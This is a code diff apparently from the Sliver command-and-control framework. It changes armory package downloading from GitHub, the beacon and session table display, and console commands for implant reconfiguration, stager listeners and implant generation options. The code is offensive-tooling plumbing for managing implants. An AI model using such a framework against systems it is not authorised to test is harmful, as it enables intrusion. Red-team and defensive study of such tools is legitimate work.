if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
|
||||
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -425,7 +475,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
@@ -440,7 +490,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
@@ -448,6 +498,8 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
pkgCacheEntry.LastErr = err
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -20,7 +20,6 @@ package armory
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
@@ -64,7 +63,7 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installExtensionPackageByName(pkgName, clientConfig, con)
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
@@ -114,6 +113,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading alias ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
@@ -144,6 +145,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
@@ -228,6 +231,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading extension ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
@@ -256,7 +261,12 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
err = tmpFile.Sync()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
@@ -266,10 +276,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// do not add if the command already exists
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
return fmt.Errorf("%s command already exists", extCmd.Name)
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
|
||||
@@ -28,6 +28,9 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
@@ -41,10 +44,11 @@ type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubArmoryIndexParser,
|
||||
"api.github.com": GithubAPIArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubArmoryPackageParser,
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
"github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -63,6 +67,10 @@ type armoryPkgResponse struct {
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
@@ -163,6 +171,10 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub API Parsers
|
||||
//
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
@@ -187,8 +199,8 @@ type GithubRelease struct {
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
@@ -206,6 +218,9 @@ func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Arm
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
@@ -260,8 +275,8 @@ func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Arm
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
@@ -279,6 +294,9 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
@@ -325,6 +343,101 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub Parsers
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
// We need to intercept the 302 redirect to determine the latest version tag
|
||||
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
|
||||
client := httpClient(clientConfig)
|
||||
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
latestURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
|
||||
latestRedirect, err := client.Get(latestURL.String())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
defer latestRedirect.Body.Close()
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
if latestRedirect.Header.Get("Location") == "" {
|
||||
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
|
||||
}
|
||||
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
|
||||
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
|
||||
}
|
||||
pathSegments := strings.Split(latestLocationURL.Path, "/")
|
||||
for index, segment := range pathSegments {
|
||||
if segment == "tag" && index+1 < len(pathSegments) {
|
||||
return pathSegments[index+1], nil
|
||||
}
|
||||
}
|
||||
return "", errors.New("tag not found in location header")
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
@@ -344,8 +457,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
@@ -46,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, false, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -62,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := terminal.GetSize(0)
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if 182 < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
var next string
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Now().Sub(nextCheckin)
|
||||
past := time.Since(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
} else {
|
||||
eta := nextCheckin.Sub(time.Now())
|
||||
eta := time.Until(nextCheckin)
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
}
|
||||
if 182 < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
@@ -148,9 +148,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
} else {
|
||||
@@ -158,9 +158,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Now().Sub(nextCheckin)
|
||||
delta := time.Since(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
|
||||
+169
-34
@@ -63,6 +63,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
"github.com/bishopfox/sliver/client/command/processes"
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/reconfig"
|
||||
"github.com/bishopfox/sliver/client/command/registry"
|
||||
"github.com/bishopfox/sliver/client/command/screenshot"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
@@ -107,7 +108,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
con.PrintInfof("Loaded %d alias(es) from disk\n", n)
|
||||
if n == 1 {
|
||||
con.PrintInfof("Loaded %d alias from disk\n", n)
|
||||
} else {
|
||||
con.PrintInfof("Loaded %d aliases from disk\n", n)
|
||||
}
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
@@ -417,8 +422,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -442,8 +447,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
f.String("k", "key", "", "PEM encoded private key file")
|
||||
@@ -466,11 +471,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Start a stager listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "profile", "", "Implant profile name to link with the listener")
|
||||
f.String("p", "profile", "", "implant profile name to link with the listener")
|
||||
f.String("u", "url", "", "URL to which the stager will call back to")
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
|
||||
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -499,6 +506,47 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.MultiplayerHelpGroup,
|
||||
})
|
||||
|
||||
// [ Reconfig ] ---------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ReconfigStr,
|
||||
Help: "Reconfigure the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "change implant name to")
|
||||
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
|
||||
f.String("i", "beacon-interval", "", "beacon callback interval")
|
||||
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
reconfig.ReconfigCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.RenameStr,
|
||||
Help: "Rename the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "change implant name to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
reconfig.RenameCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Sessions ] --------------------------------------------------------------
|
||||
|
||||
sessionsCmd := &grumble.Command{
|
||||
@@ -506,10 +554,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Session management",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("i", "interact", "", "interact with a sliver")
|
||||
f.String("k", "kill", "", "Kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "Kill all the sessions")
|
||||
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
|
||||
f.String("i", "interact", "", "interact with a session")
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
f.Bool("f", "force", false, "force session action without waiting for results")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -523,10 +572,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
sessionsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.PruneStr,
|
||||
Help: "Kill all stale sessions",
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -539,26 +588,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(sessionsCmd)
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ReconfigStr,
|
||||
Help: "Reconfigure the active session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "agent name to change to")
|
||||
f.Int("r", "reconnect", -1, "reconnect interval for agent")
|
||||
f.Int("p", "poll", -1, "poll interval for agent")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.SessionsReconfigCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.BackgroundStr,
|
||||
Help: "Background an active session",
|
||||
@@ -602,8 +631,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
f.String("p", "named-pipe", "", "namedpipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
|
||||
|
||||
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
|
||||
|
||||
@@ -619,6 +648,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.App.AddCommand(openSessionCmd)
|
||||
|
||||
// [ Close ] --------------------------------------------------------------
|
||||
closeSessionCmd := &grumble.Command{
|
||||
Name: consts.CloseStr,
|
||||
Help: "Close an interactive session without killing the remote process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.CloseSessionCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(closeSessionCmd)
|
||||
|
||||
// [ Tasks ] --------------------------------------------------------------
|
||||
|
||||
tasksCmd := &grumble.Command{
|
||||
@@ -785,6 +832,30 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "always-overflow",
|
||||
Help: "Disable table pagination",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsAlwaysOverflow(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "small-terminal",
|
||||
Help: "Set the small terminal width",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsSmallTerm(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(settingsCmd)
|
||||
|
||||
// [ Info ] --------------------------------------------------------------
|
||||
@@ -1177,6 +1248,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1231,6 +1304,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
